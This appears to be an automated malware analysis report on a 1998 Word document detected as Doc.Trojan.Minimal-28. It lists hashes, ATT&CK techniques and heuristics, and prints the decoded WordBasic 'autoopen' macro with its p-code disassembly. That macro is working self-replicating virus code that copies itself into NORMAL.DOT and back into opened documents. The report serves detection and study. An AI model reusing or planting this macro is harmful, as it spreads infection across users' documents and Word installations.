Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 34009faf41f66604…

MALICIOUS

Office (OLE)

26.5 KB Created: 1998-01-29 07:22:00 Authoring application: Microsoft Word 8.0 First seen: 2012-06-14
MD5: bf8aaa67735459c61c815542ab1d8c57 SHA-1: 367eebf1017de187a7e3c432d91f1acc86ee0818 SHA-256: 34009faf41f66604ecb5fcffc57d569618bec42ff254a0ca6ca190cd3700291e
200 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1547.001 Registry Run Keys / Startup Folder

The file contains legacy WordBasic macros, specifically an autoopen macro, which is a known technique for executing malicious code upon document opening. The script attempts to copy itself to the NORMAL.DOT template, indicating an attempt at persistence. The presence of legacy WordBasic and the persistence attempt suggest a macro-based malware.

Heuristics 4

  • ClamAV: Doc.Trojan.Minimal-28 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Trojan.Minimal-28
  • VBA macros detected medium 1 related finding OLE_VBA_MACROS
    Document contains VBA macro code
  • AutoOpen macro high OLE_VBA_AUTOOPEN
    AutoOpen macro
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 2562 bytes
SHA-256: 070f377eab9e0189caefd4d7c46a54068697d532f2f2babcc9f4a5ccaeadc3e2
Detection
ClamAV: Doc.Trojan.Minimal-28
Obfuscation or payload: unlikely
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "0{00020906-0000-0000-C000-000000000046}"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Attribute VB_Name = "autoopen"

Public Sub MAIN()
Dim a$
Dim b$
Dim c$
On Error Resume Next
a$ = "autoopen"
b$ = WordBasic.[FileName$]()
c$ = WordBasic.[DefaultDir$](2) + "\NORMAL.DOT"
Dim a_ As Object: Set a_ = WordBasic.DialogRecord.Organizer(False)
Set a_ = WordBasic.CurValues.Organizer
a_.Copy = 1
a_.Tab = 3
a_.Name = a$
a_.Source = b$
a_.Destination = c$
WordBasic.Organizer a_
If WordBasic.CountMacros(1) = 0 Then
a_.Source = c$
a_.Destination = b$
WordBasic.Organizer a_
WordBasic.FileSaveAs Format:=1
End If
End Sub

' Processing file: /opt/analyzer/scan_staging/aa44cce6f0394006bcb3a4ac95b72284.bin
' ===============================================================================
' Module streams:
' Macros/VBA/ThisDocument - 965 bytes
' Macros/VBA/autoopen - 1857 bytes
' Line #0:
' Line #1:
' 	FuncDefn (Public Sub MAIN())
' Line #2:
' 	Dim 
' 	VarDefn a
' Line #3:
' 	Dim 
' 	VarDefn B
' Line #4:
' 	Dim 
' 	VarDefn c
' Line #5:
' 	OnError (Resume Next) 
' Line #6:
' 	LitStr 0x0008 "autoopen"
' 	St a$ 
' Line #7:
' 	Ld WordBasic 
' 	ArgsMemLd [FileName$] 0x0000 
' 	St B$ 
' Line #8:
' 	LitDI2 0x0002 
' 	Ld WordBasic 
' 	ArgsMemLd [DefaultDir$] 0x0001 
' 	LitStr 0x000B "\NORMAL.DOT"
' 	Add 
' 	St c$ 
' Line #9:
' 	Dim 
' 	VarDefn a_ (As Object)
' 	BoS 0x0000 
' 	SetStmt 
' 	LitVarSpecial (False)
' 	Ld WordBasic 
' 	MemLd DialogRecord 
' 	ArgsMemLd Organizer 0x0001 
' 	Set a_ 
' Line #10:
' 	SetStmt 
' 	Ld WordBasic 
' 	MemLd CurValues 
' 	MemLd Organizer 
' 	Set a_ 
' Line #11:
' 	LitDI2 0x0001 
' 	Ld a_ 
' 	MemSt Copy 
' Line #12:
' 	LitDI2 0x0003 
' 	Ld a_ 
' 	MemSt Text 
' Line #13:
' 	Ld a$ 
' 	Ld a_ 
' 	MemSt New 
' Line #14:
' 	Ld B$ 
' 	Ld a_ 
' 	MemSt Source 
' Line #15:
' 	Ld c$ 
' 	Ld a_ 
' 	MemSt Destination 
' Line #16:
' 	Ld a_ 
' 	Ld WordBasic 
' 	ArgsMemCall Organizer 0x0001 
' Line #17:
' 	LitDI2 0x0001 
' 	Ld WordBasic 
' 	ArgsMemLd CountMacros 0x0001 
' 	LitDI2 0x0000 
' 	Eq 
' 	IfBlock 
' Line #18:
' 	Ld c$ 
' 	Ld a_ 
' 	MemSt Source 
' Line #19:
' 	Ld B$ 
' 	Ld a_ 
' 	MemSt Destination 
' Line #20:
' 	Ld a_ 
' 	Ld WordBasic 
' 	ArgsMemCall Organizer 0x0001 
' Line #21:
' 	LitDI2 0x0001 
' 	ParamNamed Format$ 
' 	Ld WordBasic 
' 	ArgsMemCall FileSaveAs 0x0001 
' Line #22:
' 	EndIfBlock 
' Line #23:
' 	EndSub

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